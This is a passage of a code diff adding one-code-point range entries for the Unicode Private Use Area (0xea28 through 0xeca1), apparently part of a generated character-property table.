+ [0xea28, 0xea28], /* Private Use */
+ [0xea29, 0xea29], /* Private Use */
+ [0xea2a, 0xea2a], /* Private Use */
+ [0xea2b, 0xea2b], /* Private Use */
+ [0xea2c, 0xea2c], /* Private Use */
+ [0xea2d, 0xea2d], /* Private Use */
+ [0xea2e, 0xea2e], /* Private Use */
+ [0xea2f, 0xea2f], /* Private Use */
+ [0xea30, 0xea30], /* Private Use */
+ [0xea31, 0xea31], /* Private Use */
+ [0xea32, 0xea32], /* Private Use */
+ [0xea33, 0xea33], /* Private Use */
+ [0xea34, 0xea34], /* Private Use */
+ [0xea35, 0xea35], /* Private Use */
+ [0xea36, 0xea36], /* Private Use */
+ [0xea37, 0xea37], /* Private Use */
+ [0xea38, 0xea38], /* Private Use */
+ [0xea39, 0xea39], /* Private Use */
+ [0xea3a, 0xea3a], /* Private Use */
+ [0xea3b, 0xea3b], /* Private Use */
+ [0xea3c, 0xea3c], /* Private Use */
+ [0xea3d, 0xea3d], /* Private Use */
+ [0xea3e, 0xea3e], /* Private Use */
+ [0xea3f, 0xea3f], /* Private Use */
+ [0xea40, 0xea40], /* Private Use */
+ [0xea41, 0xea41], /* Private Use */
+ [0xea42, 0xea42], /* Private Use */
+ [0xea43, 0xea43], /* Private Use */
+ [0xea44, 0xea44], /* Private Use */
+ [0xea45, 0xea45], /* Private Use */
+ [0xea46, 0xea46], /* Private Use */
+ [0xea47, 0xea47], /* Private Use */
+ [0xea48, 0xea48], /* Private Use */
+ [0xea49, 0xea49], /* Private Use */
+ [0xea4a, 0xea4a], /* Private Use */
+ [0xea4b, 0xea4b], /* Private Use */
+ [0xea4c, 0xea4c], /* Private Use */
+ [0xea4d, 0xea4d], /* Private Use */
+ [0xea4e, 0xea4e], /* Private Use */
+ [0xea4f, 0xea4f], /* Private Use */
+ [0xea50, 0xea50], /* Private Use */
+ [0xea51, 0xea51], /* Private Use */
+ [0xea52, 0xea52], /* Private Use */
+ [0xea53, 0xea53], /* Private Use */
+ [0xea54, 0xea54], /* Private Use */
+ [0xea55, 0xea55], /* Private Use */
+ [0xea56, 0xea56], /* Private Use */
+ [0xea57, 0xea57], /* Private Use */
+ [0xea58, 0xea58], /* Private Use */
+ [0xea59, 0xea59], /* Private Use */
+ [0xea5a, 0xea5a], /* Private Use */
+ [0xea5b, 0xea5b], /* Private Use */
+ [0xea5c, 0xea5c], /* Private Use */
+ [0xea5d, 0xea5d], /* Private Use */
+ [0xea5e, 0xea5e], /* Private Use */
+ [0xea5f, 0xea5f], /* Private Use */
+ [0xea60, 0xea60], /* Private Use */
+ [0xea61, 0xea61], /* Private Use */
+ [0xea62, 0xea62], /* Private Use */
+ [0xea63, 0xea63], /* Private Use */
+ [0xea64, 0xea64], /* Private Use */
+ [0xea65, 0xea65], /* Private Use */
+ [0xea66, 0xea66], /* Private Use */
+ [0xea67, 0xea67], /* Private Use */
+ [0xea68, 0xea68], /* Private Use */
+ [0xea69, 0xea69], /* Private Use */
+ [0xea6a, 0xea6a], /* Private Use */
+ [0xea6b, 0xea6b], /* Private Use */
+ [0xea6c, 0xea6c], /* Private Use */
+ [0xea6d, 0xea6d], /* Private Use */
+ [0xea6e, 0xea6e], /* Private Use */
+ [0xea6f, 0xea6f], /* Private Use */
+ [0xea70, 0xea70], /* Private Use */
+ [0xea71, 0xea71], /* Private Use */
+ [0xea72, 0xea72], /* Private Use */
+ [0xea73, 0xea73], /* Private Use */
+ [0xea74, 0xea74], /* Private Use */
+ [0xea75, 0xea75], /* Private Use */
+ [0xea76, 0xea76], /* Private Use */
+ [0xea77, 0xea77], /* Private Use */
+ [0xea78, 0xea78], /* Private Use */
+ [0xea79, 0xea79], /* Private Use */
+ [0xea7a, 0xea7a], /* Private Use */
+ [0xea7b, 0xea7b], /* Private Use */
+ [0xea7c, 0xea7c], /* Private Use */
+ [0xea7d, 0xea7d], /* Private Use */
+ [0xea7e, 0xea7e], /* Private Use */
+ [0xea7f, 0xea7f], /* Private Use */
+ [0xea80, 0xea80], /* Private Use */
+ [0xea81, 0xea81], /* Private Use */
+ [0xea82, 0xea82], /* Private Use */
+ [0xea83, 0xea83], /* Private Use */
+ [0xea84, 0xea84], /* Private Use */
+ [0xea85, 0xea85], /* Private Use */
+ [0xea86, 0xea86], /* Private Use */
+ [0xea87, 0xea87], /* Private Use */
+ [0xea88, 0xea88], /* Private Use */
+ [0xea89, 0xea89], /* Private Use */
+ [0xea8a, 0xea8a], /* Private Use */
+ [0xea8b, 0xea8b], /* Private Use */
+ [0xea8c, 0xea8c], /* Private Use */
+ [0xea8d, 0xea8d], /* Private Use */
+ [0xea8e, 0xea8e], /* Private Use */
+ [0xea8f, 0xea8f], /* Private Use */
+ [0xea90, 0xea90], /* Private Use */
+ [0xea91, 0xea91], /* Private Use */
+ [0xea92, 0xea92], /* Private Use */
+ [0xea93, 0xea93], /* Private Use */
+ [0xea94, 0xea94], /* Private Use */
+ [0xea95, 0xea95], /* Private Use */
+ [0xea96, 0xea96], /* Private Use */
+ [0xea97, 0xea97], /* Private Use */
+ [0xea98, 0xea98], /* Private Use */
+ [0xea99, 0xea99], /* Private Use */
+ [0xea9a, 0xea9a], /* Private Use */
+ [0xea9b, 0xea9b], /* Private Use */
+ [0xea9c, 0xea9c], /* Private Use */
+ [0xea9d, 0xea9d], /* Private Use */
+ [0xea9e, 0xea9e], /* Private Use */
+ [0xea9f, 0xea9f], /* Private Use */
+ [0xeaa0, 0xeaa0], /* Private Use */
+ [0xeaa1, 0xeaa1], /* Private Use */
+ [0xeaa2, 0xeaa2], /* Private Use */
+ [0xeaa3, 0xeaa3], /* Private Use */
+ [0xeaa4, 0xeaa4], /* Private Use */
+ [0xeaa5, 0xeaa5], /* Private Use */
+ [0xeaa6, 0xeaa6], /* Private Use */
+ [0xeaa7, 0xeaa7], /* Private Use */
+ [0xeaa8, 0xeaa8], /* Private Use */
+ [0xeaa9, 0xeaa9], /* Private Use */
+ [0xeaaa, 0xeaaa], /* Private Use */
+ [0xeaab, 0xeaab], /* Private Use */
+ [0xeaac, 0xeaac], /* Private Use */
+ [0xeaad, 0xeaad], /* Private Use */
+ [0xeaae, 0xeaae], /* Private Use */
+ [0xeaaf, 0xeaaf], /* Private Use */
+ [0xeab0, 0xeab0], /* Private Use */
+ [0xeab1, 0xeab1], /* Private Use */
+ [0xeab2, 0xeab2], /* Private Use */
+ [0xeab3, 0xeab3], /* Private Use */
+ [0xeab4, 0xeab4], /* Private Use */
+ [0xeab5, 0xeab5], /* Private Use */
+ [0xeab6, 0xeab6], /* Private Use */
+ [0xeab7, 0xeab7], /* Private Use */
+ [0xeab8, 0xeab8], /* Private Use */
+ [0xeab9, 0xeab9], /* Private Use */
+ [0xeaba, 0xeaba], /* Private Use */
+ [0xeabb, 0xeabb], /* Private Use */
+ [0xeabc, 0xeabc], /* Private Use */
+ [0xeabd, 0xeabd], /* Private Use */
+ [0xeabe, 0xeabe], /* Private Use */
+ [0xeabf, 0xeabf], /* Private Use */
+ [0xeac0, 0xeac0], /* Private Use */
+ [0xeac1, 0xeac1], /* Private Use */
+ [0xeac2, 0xeac2], /* Private Use */
+ [0xeac3, 0xeac3], /* Private Use */
+ [0xeac4, 0xeac4], /* Private Use */
+ [0xeac5, 0xeac5], /* Private Use */
+ [0xeac6, 0xeac6], /* Private Use */
+ [0xeac7, 0xeac7], /* Private Use */
+ [0xeac8, 0xeac8], /* Private Use */
+ [0xeac9, 0xeac9], /* Private Use */
+ [0xeaca, 0xeaca], /* Private Use */
+ [0xeacb, 0xeacb], /* Private Use */
+ [0xeacc, 0xeacc], /* Private Use */
+ [0xeacd, 0xeacd], /* Private Use */
+ [0xeace, 0xeace], /* Private Use */
+ [0xeacf, 0xeacf], /* Private Use */
+ [0xead0, 0xead0], /* Private Use */
+ [0xead1, 0xead1], /* Private Use */
+ [0xead2, 0xead2], /* Private Use */
+ [0xead3, 0xead3], /* Private Use */
+ [0xead4, 0xead4], /* Private Use */
+ [0xead5, 0xead5], /* Private Use */
+ [0xead6, 0xead6], /* Private Use */
+ [0xead7, 0xead7], /* Private Use */
+ [0xead8, 0xead8], /* Private Use */
+ [0xead9, 0xead9], /* Private Use */
+ [0xeada, 0xeada], /* Private Use */
+ [0xeadb, 0xeadb], /* Private Use */
+ [0xeadc, 0xeadc], /* Private Use */
+ [0xeadd, 0xeadd], /* Private Use */
+ [0xeade, 0xeade], /* Private Use */
+ [0xeadf, 0xeadf], /* Private Use */
+ [0xeae0, 0xeae0], /* Private Use */
+ [0xeae1, 0xeae1], /* Private Use */
+ [0xeae2, 0xeae2], /* Private Use */
+ [0xeae3, 0xeae3], /* Private Use */
+ [0xeae4, 0xeae4], /* Private Use */
+ [0xeae5, 0xeae5], /* Private Use */
+ [0xeae6, 0xeae6], /* Private Use */
+ [0xeae7, 0xeae7], /* Private Use */
+ [0xeae8, 0xeae8], /* Private Use */
+ [0xeae9, 0xeae9], /* Private Use */
+ [0xeaea, 0xeaea], /* Private Use */
+ [0xeaeb, 0xeaeb], /* Private Use */
+ [0xeaec, 0xeaec], /* Private Use */
+ [0xeaed, 0xeaed], /* Private Use */
+ [0xeaee, 0xeaee], /* Private Use */
+ [0xeaef, 0xeaef], /* Private Use */
+ [0xeaf0, 0xeaf0], /* Private Use */
+ [0xeaf1, 0xeaf1], /* Private Use */
+ [0xeaf2, 0xeaf2], /* Private Use */
+ [0xeaf3, 0xeaf3], /* Private Use */
+ [0xeaf4, 0xeaf4], /* Private Use */
+ [0xeaf5, 0xeaf5], /* Private Use */
+ [0xeaf6, 0xeaf6], /* Private Use */
+ [0xeaf7, 0xeaf7], /* Private Use */
+ [0xeaf8, 0xeaf8], /* Private Use */
+ [0xeaf9, 0xeaf9], /* Private Use */
+ [0xeafa, 0xeafa], /* Private Use */
+ [0xeafb, 0xeafb], /* Private Use */
+ [0xeafc, 0xeafc], /* Private Use */
+ [0xeafd, 0xeafd], /* Private Use */
+ [0xeafe, 0xeafe], /* Private Use */
+ [0xeaff, 0xeaff], /* Private Use */
+ [0xeb00, 0xeb00], /* Private Use */
+ [0xeb01, 0xeb01], /* Private Use */
+ [0xeb02, 0xeb02], /* Private Use */
+ [0xeb03, 0xeb03], /* Private Use */
+ [0xeb04, 0xeb04], /* Private Use */
+ [0xeb05, 0xeb05], /* Private Use */
+ [0xeb06, 0xeb06], /* Private Use */
+ [0xeb07, 0xeb07], /* Private Use */
+ [0xeb08, 0xeb08], /* Private Use */
+ [0xeb09, 0xeb09], /* Private Use */
+ [0xeb0a, 0xeb0a], /* Private Use */
+ [0xeb0b, 0xeb0b], /* Private Use */
+ [0xeb0c, 0xeb0c], /* Private Use */
+ [0xeb0d, 0xeb0d], /* Private Use */
+ [0xeb0e, 0xeb0e], /* Private Use */
+ [0xeb0f, 0xeb0f], /* Private Use */
+ [0xeb10, 0xeb10], /* Private Use */
+ [0xeb11, 0xeb11], /* Private Use */
+ [0xeb12, 0xeb12], /* Private Use */
+ [0xeb13, 0xeb13], /* Private Use */
+ [0xeb14, 0xeb14], /* Private Use */
+ [0xeb15, 0xeb15], /* Private Use */
+ [0xeb16, 0xeb16], /* Private Use */
+ [0xeb17, 0xeb17], /* Private Use */
+ [0xeb18, 0xeb18], /* Private Use */
+ [0xeb19, 0xeb19], /* Private Use */
+ [0xeb1a, 0xeb1a], /* Private Use */
+ [0xeb1b, 0xeb1b], /* Private Use */
+ [0xeb1c, 0xeb1c], /* Private Use */
+ [0xeb1d, 0xeb1d], /* Private Use */
+ [0xeb1e, 0xeb1e], /* Private Use */
+ [0xeb1f, 0xeb1f], /* Private Use */
+ [0xeb20, 0xeb20], /* Private Use */
+ [0xeb21, 0xeb21], /* Private Use */
+ [0xeb22, 0xeb22], /* Private Use */
+ [0xeb23, 0xeb23], /* Private Use */
+ [0xeb24, 0xeb24], /* Private Use */
+ [0xeb25, 0xeb25], /* Private Use */
+ [0xeb26, 0xeb26], /* Private Use */
+ [0xeb27, 0xeb27], /* Private Use */
+ [0xeb28, 0xeb28], /* Private Use */
+ [0xeb29, 0xeb29], /* Private Use */
+ [0xeb2a, 0xeb2a], /* Private Use */
+ [0xeb2b, 0xeb2b], /* Private Use */
+ [0xeb2c, 0xeb2c], /* Private Use */
+ [0xeb2d, 0xeb2d], /* Private Use */
+ [0xeb2e, 0xeb2e], /* Private Use */
+ [0xeb2f, 0xeb2f], /* Private Use */
+ [0xeb30, 0xeb30], /* Private Use */
+ [0xeb31, 0xeb31], /* Private Use */
+ [0xeb32, 0xeb32], /* Private Use */
+ [0xeb33, 0xeb33], /* Private Use */
+ [0xeb34, 0xeb34], /* Private Use */
+ [0xeb35, 0xeb35], /* Private Use */
+ [0xeb36, 0xeb36], /* Private Use */
+ [0xeb37, 0xeb37], /* Private Use */
+ [0xeb38, 0xeb38], /* Private Use */
+ [0xeb39, 0xeb39], /* Private Use */
+ [0xeb3a, 0xeb3a], /* Private Use */
+ [0xeb3b, 0xeb3b], /* Private Use */
+ [0xeb3c, 0xeb3c], /* Private Use */
+ [0xeb3d, 0xeb3d], /* Private Use */
+ [0xeb3e, 0xeb3e], /* Private Use */
+ [0xeb3f, 0xeb3f], /* Private Use */
+ [0xeb40, 0xeb40], /* Private Use */
+ [0xeb41, 0xeb41], /* Private Use */
+ [0xeb42, 0xeb42], /* Private Use */
+ [0xeb43, 0xeb43], /* Private Use */
+ [0xeb44, 0xeb44], /* Private Use */
+ [0xeb45, 0xeb45], /* Private Use */
+ [0xeb46, 0xeb46], /* Private Use */
+ [0xeb47, 0xeb47], /* Private Use */
+ [0xeb48, 0xeb48], /* Private Use */
+ [0xeb49, 0xeb49], /* Private Use */
+ [0xeb4a, 0xeb4a], /* Private Use */
+ [0xeb4b, 0xeb4b], /* Private Use */
+ [0xeb4c, 0xeb4c], /* Private Use */
+ [0xeb4d, 0xeb4d], /* Private Use */
+ [0xeb4e, 0xeb4e], /* Private Use */
+ [0xeb4f, 0xeb4f], /* Private Use */
+ [0xeb50, 0xeb50], /* Private Use */
+ [0xeb51, 0xeb51], /* Private Use */
+ [0xeb52, 0xeb52], /* Private Use */
+ [0xeb53, 0xeb53], /* Private Use */
+ [0xeb54, 0xeb54], /* Private Use */
+ [0xeb55, 0xeb55], /* Private Use */
+ [0xeb56, 0xeb56], /* Private Use */
+ [0xeb57, 0xeb57], /* Private Use */
+ [0xeb58, 0xeb58], /* Private Use */
+ [0xeb59, 0xeb59], /* Private Use */
+ [0xeb5a, 0xeb5a], /* Private Use */
+ [0xeb5b, 0xeb5b], /* Private Use */
+ [0xeb5c, 0xeb5c], /* Private Use */
+ [0xeb5d, 0xeb5d], /* Private Use */
+ [0xeb5e, 0xeb5e], /* Private Use */
+ [0xeb5f, 0xeb5f], /* Private Use */
+ [0xeb60, 0xeb60], /* Private Use */
+ [0xeb61, 0xeb61], /* Private Use */
+ [0xeb62, 0xeb62], /* Private Use */
+ [0xeb63, 0xeb63], /* Private Use */
+ [0xeb64, 0xeb64], /* Private Use */
+ [0xeb65, 0xeb65], /* Private Use */
+ [0xeb66, 0xeb66], /* Private Use */
+ [0xeb67, 0xeb67], /* Private Use */
+ [0xeb68, 0xeb68], /* Private Use */
+ [0xeb69, 0xeb69], /* Private Use */
+ [0xeb6a, 0xeb6a], /* Private Use */
+ [0xeb6b, 0xeb6b], /* Private Use */
+ [0xeb6c, 0xeb6c], /* Private Use */
+ [0xeb6d, 0xeb6d], /* Private Use */
+ [0xeb6e, 0xeb6e], /* Private Use */
+ [0xeb6f, 0xeb6f], /* Private Use */
+ [0xeb70, 0xeb70], /* Private Use */
+ [0xeb71, 0xeb71], /* Private Use */
+ [0xeb72, 0xeb72], /* Private Use */
+ [0xeb73, 0xeb73], /* Private Use */
+ [0xeb74, 0xeb74], /* Private Use */
+ [0xeb75, 0xeb75], /* Private Use */
+ [0xeb76, 0xeb76], /* Private Use */
+ [0xeb77, 0xeb77], /* Private Use */
+ [0xeb78, 0xeb78], /* Private Use */
+ [0xeb79, 0xeb79], /* Private Use */
+ [0xeb7a, 0xeb7a], /* Private Use */
+ [0xeb7b, 0xeb7b], /* Private Use */
+ [0xeb7c, 0xeb7c], /* Private Use */
+ [0xeb7d, 0xeb7d], /* Private Use */
+ [0xeb7e, 0xeb7e], /* Private Use */
+ [0xeb7f, 0xeb7f], /* Private Use */
+ [0xeb80, 0xeb80], /* Private Use */
+ [0xeb81, 0xeb81], /* Private Use */
+ [0xeb82, 0xeb82], /* Private Use */
+ [0xeb83, 0xeb83], /* Private Use */
+ [0xeb84, 0xeb84], /* Private Use */
+ [0xeb85, 0xeb85], /* Private Use */
+ [0xeb86, 0xeb86], /* Private Use */
+ [0xeb87, 0xeb87], /* Private Use */
+ [0xeb88, 0xeb88], /* Private Use */
+ [0xeb89, 0xeb89], /* Private Use */
+ [0xeb8a, 0xeb8a], /* Private Use */
+ [0xeb8b, 0xeb8b], /* Private Use */
+ [0xeb8c, 0xeb8c], /* Private Use */
+ [0xeb8d, 0xeb8d], /* Private Use */
+ [0xeb8e, 0xeb8e], /* Private Use */
+ [0xeb8f, 0xeb8f], /* Private Use */
+ [0xeb90, 0xeb90], /* Private Use */
+ [0xeb91, 0xeb91], /* Private Use */
+ [0xeb92, 0xeb92], /* Private Use */
+ [0xeb93, 0xeb93], /* Private Use */
+ [0xeb94, 0xeb94], /* Private Use */
+ [0xeb95, 0xeb95], /* Private Use */
+ [0xeb96, 0xeb96], /* Private Use */
+ [0xeb97, 0xeb97], /* Private Use */
+ [0xeb98, 0xeb98], /* Private Use */
+ [0xeb99, 0xeb99], /* Private Use */
+ [0xeb9a, 0xeb9a], /* Private Use */
+ [0xeb9b, 0xeb9b], /* Private Use */
+ [0xeb9c, 0xeb9c], /* Private Use */
+ [0xeb9d, 0xeb9d], /* Private Use */
+ [0xeb9e, 0xeb9e], /* Private Use */
+ [0xeb9f, 0xeb9f], /* Private Use */
+ [0xeba0, 0xeba0], /* Private Use */
+ [0xeba1, 0xeba1], /* Private Use */
+ [0xeba2, 0xeba2], /* Private Use */
+ [0xeba3, 0xeba3], /* Private Use */
+ [0xeba4, 0xeba4], /* Private Use */
+ [0xeba5, 0xeba5], /* Private Use */
+ [0xeba6, 0xeba6], /* Private Use */
+ [0xeba7, 0xeba7], /* Private Use */
+ [0xeba8, 0xeba8], /* Private Use */
+ [0xeba9, 0xeba9], /* Private Use */
+ [0xebaa, 0xebaa], /* Private Use */
+ [0xebab, 0xebab], /* Private Use */
+ [0xebac, 0xebac], /* Private Use */
+ [0xebad, 0xebad], /* Private Use */
+ [0xebae, 0xebae], /* Private Use */
+ [0xebaf, 0xebaf], /* Private Use */
+ [0xebb0, 0xebb0], /* Private Use */
+ [0xebb1, 0xebb1], /* Private Use */
+ [0xebb2, 0xebb2], /* Private Use */
+ [0xebb3, 0xebb3], /* Private Use */
+ [0xebb4, 0xebb4], /* Private Use */
+ [0xebb5, 0xebb5], /* Private Use */
+ [0xebb6, 0xebb6], /* Private Use */
+ [0xebb7, 0xebb7], /* Private Use */
+ [0xebb8, 0xebb8], /* Private Use */
+ [0xebb9, 0xebb9], /* Private Use */
+ [0xebba, 0xebba], /* Private Use */
+ [0xebbb, 0xebbb], /* Private Use */
+ [0xebbc, 0xebbc], /* Private Use */
+ [0xebbd, 0xebbd], /* Private Use */
+ [0xebbe, 0xebbe], /* Private Use */
+ [0xebbf, 0xebbf], /* Private Use */
+ [0xebc0, 0xebc0], /* Private Use */
+ [0xebc1, 0xebc1], /* Private Use */
+ [0xebc2, 0xebc2], /* Private Use */
+ [0xebc3, 0xebc3], /* Private Use */
+ [0xebc4, 0xebc4], /* Private Use */
+ [0xebc5, 0xebc5], /* Private Use */
+ [0xebc6, 0xebc6], /* Private Use */
+ [0xebc7, 0xebc7], /* Private Use */
+ [0xebc8, 0xebc8], /* Private Use */
+ [0xebc9, 0xebc9], /* Private Use */
+ [0xebca, 0xebca], /* Private Use */
+ [0xebcb, 0xebcb], /* Private Use */
+ [0xebcc, 0xebcc], /* Private Use */
+ [0xebcd, 0xebcd], /* Private Use */
+ [0xebce, 0xebce], /* Private Use */
+ [0xebcf, 0xebcf], /* Private Use */
+ [0xebd0, 0xebd0], /* Private Use */
+ [0xebd1, 0xebd1], /* Private Use */
+ [0xebd2, 0xebd2], /* Private Use */
+ [0xebd3, 0xebd3], /* Private Use */
+ [0xebd4, 0xebd4], /* Private Use */
+ [0xebd5, 0xebd5], /* Private Use */
+ [0xebd6, 0xebd6], /* Private Use */
+ [0xebd7, 0xebd7], /* Private Use */
+ [0xebd8, 0xebd8], /* Private Use */
+ [0xebd9, 0xebd9], /* Private Use */
+ [0xebda, 0xebda], /* Private Use */
+ [0xebdb, 0xebdb], /* Private Use */
+ [0xebdc, 0xebdc], /* Private Use */
+ [0xebdd, 0xebdd], /* Private Use */
+ [0xebde, 0xebde], /* Private Use */
+ [0xebdf, 0xebdf], /* Private Use */
+ [0xebe0, 0xebe0], /* Private Use */
+ [0xebe1, 0xebe1], /* Private Use */
+ [0xebe2, 0xebe2], /* Private Use */
+ [0xebe3, 0xebe3], /* Private Use */
+ [0xebe4, 0xebe4], /* Private Use */
+ [0xebe5, 0xebe5], /* Private Use */
+ [0xebe6, 0xebe6], /* Private Use */
+ [0xebe7, 0xebe7], /* Private Use */
+ [0xebe8, 0xebe8], /* Private Use */
+ [0xebe9, 0xebe9], /* Private Use */
+ [0xebea, 0xebea], /* Private Use */
+ [0xebeb, 0xebeb], /* Private Use */
+ [0xebec, 0xebec], /* Private Use */
+ [0xebed, 0xebed], /* Private Use */
+ [0xebee, 0xebee], /* Private Use */
+ [0xebef, 0xebef], /* Private Use */
+ [0xebf0, 0xebf0], /* Private Use */
+ [0xebf1, 0xebf1], /* Private Use */
+ [0xebf2, 0xebf2], /* Private Use */
+ [0xebf3, 0xebf3], /* Private Use */
+ [0xebf4, 0xebf4], /* Private Use */
+ [0xebf5, 0xebf5], /* Private Use */
+ [0xebf6, 0xebf6], /* Private Use */
+ [0xebf7, 0xebf7], /* Private Use */
+ [0xebf8, 0xebf8], /* Private Use */
+ [0xebf9, 0xebf9], /* Private Use */
+ [0xebfa, 0xebfa], /* Private Use */
+ [0xebfb, 0xebfb], /* Private Use */
+ [0xebfc, 0xebfc], /* Private Use */
+ [0xebfd, 0xebfd], /* Private Use */
+ [0xebfe, 0xebfe], /* Private Use */
+ [0xebff, 0xebff], /* Private Use */
+ [0xec00, 0xec00], /* Private Use */
+ [0xec01, 0xec01], /* Private Use */
+ [0xec02, 0xec02], /* Private Use */
+ [0xec03, 0xec03], /* Private Use */
+ [0xec04, 0xec04], /* Private Use */
+ [0xec05, 0xec05], /* Private Use */
+ [0xec06, 0xec06], /* Private Use */
+ [0xec07, 0xec07], /* Private Use */
+ [0xec08, 0xec08], /* Private Use */
+ [0xec09, 0xec09], /* Private Use */
+ [0xec0a, 0xec0a], /* Private Use */
+ [0xec0b, 0xec0b], /* Private Use */
+ [0xec0c, 0xec0c], /* Private Use */
+ [0xec0d, 0xec0d], /* Private Use */
+ [0xec0e, 0xec0e], /* Private Use */
+ [0xec0f, 0xec0f], /* Private Use */
+ [0xec10, 0xec10], /* Private Use */
+ [0xec11, 0xec11], /* Private Use */
+ [0xec12, 0xec12], /* Private Use */
+ [0xec13, 0xec13], /* Private Use */
+ [0xec14, 0xec14], /* Private Use */
+ [0xec15, 0xec15], /* Private Use */
+ [0xec16, 0xec16], /* Private Use */
+ [0xec17, 0xec17], /* Private Use */
+ [0xec18, 0xec18], /* Private Use */
+ [0xec19, 0xec19], /* Private Use */
+ [0xec1a, 0xec1a], /* Private Use */
+ [0xec1b, 0xec1b], /* Private Use */
+ [0xec1c, 0xec1c], /* Private Use */
+ [0xec1d, 0xec1d], /* Private Use */
+ [0xec1e, 0xec1e], /* Private Use */
+ [0xec1f, 0xec1f], /* Private Use */
+ [0xec20, 0xec20], /* Private Use */
+ [0xec21, 0xec21], /* Private Use */
+ [0xec22, 0xec22], /* Private Use */
+ [0xec23, 0xec23], /* Private Use */
+ [0xec24, 0xec24], /* Private Use */
+ [0xec25, 0xec25], /* Private Use */
+ [0xec26, 0xec26], /* Private Use */
+ [0xec27, 0xec27], /* Private Use */
+ [0xec28, 0xec28], /* Private Use */
+ [0xec29, 0xec29], /* Private Use */
+ [0xec2a, 0xec2a], /* Private Use */
+ [0xec2b, 0xec2b], /* Private Use */
+ [0xec2c, 0xec2c], /* Private Use */
+ [0xec2d, 0xec2d], /* Private Use */
+ [0xec2e, 0xec2e], /* Private Use */
+ [0xec2f, 0xec2f], /* Private Use */
+ [0xec30, 0xec30], /* Private Use */
+ [0xec31, 0xec31], /* Private Use */
+ [0xec32, 0xec32], /* Private Use */
+ [0xec33, 0xec33], /* Private Use */
+ [0xec34, 0xec34], /* Private Use */
+ [0xec35, 0xec35], /* Private Use */
+ [0xec36, 0xec36], /* Private Use */
+ [0xec37, 0xec37], /* Private Use */
+ [0xec38, 0xec38], /* Private Use */
+ [0xec39, 0xec39], /* Private Use */
+ [0xec3a, 0xec3a], /* Private Use */
+ [0xec3b, 0xec3b], /* Private Use */
+ [0xec3c, 0xec3c], /* Private Use */
+ [0xec3d, 0xec3d], /* Private Use */
+ [0xec3e, 0xec3e], /* Private Use */
+ [0xec3f, 0xec3f], /* Private Use */
+ [0xec40, 0xec40], /* Private Use */
+ [0xec41, 0xec41], /* Private Use */
+ [0xec42, 0xec42], /* Private Use */
+ [0xec43, 0xec43], /* Private Use */
+ [0xec44, 0xec44], /* Private Use */
+ [0xec45, 0xec45], /* Private Use */
+ [0xec46, 0xec46], /* Private Use */
+ [0xec47, 0xec47], /* Private Use */
+ [0xec48, 0xec48], /* Private Use */
+ [0xec49, 0xec49], /* Private Use */
+ [0xec4a, 0xec4a], /* Private Use */
+ [0xec4b, 0xec4b], /* Private Use */
+ [0xec4c, 0xec4c], /* Private Use */
+ [0xec4d, 0xec4d], /* Private Use */
+ [0xec4e, 0xec4e], /* Private Use */
+ [0xec4f, 0xec4f], /* Private Use */
+ [0xec50, 0xec50], /* Private Use */
+ [0xec51, 0xec51], /* Private Use */
+ [0xec52, 0xec52], /* Private Use */
+ [0xec53, 0xec53], /* Private Use */
+ [0xec54, 0xec54], /* Private Use */
+ [0xec55, 0xec55], /* Private Use */
+ [0xec56, 0xec56], /* Private Use */
+ [0xec57, 0xec57], /* Private Use */
+ [0xec58, 0xec58], /* Private Use */
+ [0xec59, 0xec59], /* Private Use */
+ [0xec5a, 0xec5a], /* Private Use */
+ [0xec5b, 0xec5b], /* Private Use */
+ [0xec5c, 0xec5c], /* Private Use */
+ [0xec5d, 0xec5d], /* Private Use */
+ [0xec5e, 0xec5e], /* Private Use */
+ [0xec5f, 0xec5f], /* Private Use */
+ [0xec60, 0xec60], /* Private Use */
+ [0xec61, 0xec61], /* Private Use */
+ [0xec62, 0xec62], /* Private Use */
+ [0xec63, 0xec63], /* Private Use */
+ [0xec64, 0xec64], /* Private Use */
+ [0xec65, 0xec65], /* Private Use */
+ [0xec66, 0xec66], /* Private Use */
+ [0xec67, 0xec67], /* Private Use */
+ [0xec68, 0xec68], /* Private Use */
+ [0xec69, 0xec69], /* Private Use */
+ [0xec6a, 0xec6a], /* Private Use */
+ [0xec6b, 0xec6b], /* Private Use */
+ [0xec6c, 0xec6c], /* Private Use */
+ [0xec6d, 0xec6d], /* Private Use */
+ [0xec6e, 0xec6e], /* Private Use */
+ [0xec6f, 0xec6f], /* Private Use */
+ [0xec70, 0xec70], /* Private Use */
+ [0xec71, 0xec71], /* Private Use */
+ [0xec72, 0xec72], /* Private Use */
+ [0xec73, 0xec73], /* Private Use */
+ [0xec74, 0xec74], /* Private Use */
+ [0xec75, 0xec75], /* Private Use */
+ [0xec76, 0xec76], /* Private Use */
+ [0xec77, 0xec77], /* Private Use */
+ [0xec78, 0xec78], /* Private Use */
+ [0xec79, 0xec79], /* Private Use */
+ [0xec7a, 0xec7a], /* Private Use */
+ [0xec7b, 0xec7b], /* Private Use */
+ [0xec7c, 0xec7c], /* Private Use */
+ [0xec7d, 0xec7d], /* Private Use */
+ [0xec7e, 0xec7e], /* Private Use */
+ [0xec7f, 0xec7f], /* Private Use */
+ [0xec80, 0xec80], /* Private Use */
+ [0xec81, 0xec81], /* Private Use */
+ [0xec82, 0xec82], /* Private Use */
+ [0xec83, 0xec83], /* Private Use */
+ [0xec84, 0xec84], /* Private Use */
+ [0xec85, 0xec85], /* Private Use */
+ [0xec86, 0xec86], /* Private Use */
+ [0xec87, 0xec87], /* Private Use */
+ [0xec88, 0xec88], /* Private Use */
+ [0xec89, 0xec89], /* Private Use */
+ [0xec8a, 0xec8a], /* Private Use */
+ [0xec8b, 0xec8b], /* Private Use */
+ [0xec8c, 0xec8c], /* Private Use */
+ [0xec8d, 0xec8d], /* Private Use */
+ [0xec8e, 0xec8e], /* Private Use */
+ [0xec8f, 0xec8f], /* Private Use */
+ [0xec90, 0xec90], /* Private Use */
+ [0xec91, 0xec91], /* Private Use */
+ [0xec92, 0xec92], /* Private Use */
+ [0xec93, 0xec93], /* Private Use */
+ [0xec94, 0xec94], /* Private Use */
+ [0xec95, 0xec95], /* Private Use */
+ [0xec96, 0xec96], /* Private Use */
+ [0xec97, 0xec97], /* Private Use */
+ [0xec98, 0xec98], /* Private Use */
+ [0xec99, 0xec99], /* Private Use */
+ [0xec9a, 0xec9a], /* Private Use */
+ [0xec9b, 0xec9b], /* Private Use */
+ [0xec9c, 0xec9c], /* Private Use */
+ [0xec9d, 0xec9d], /* Private Use */
+ [0xec9e, 0xec9e], /* Private Use */
+ [0xec9f, 0xec9f], /* Private Use */
+ [0xeca0, 0xeca0], /* Private Use */
+ [0xeca1, 0xeca1], /* Private Use */
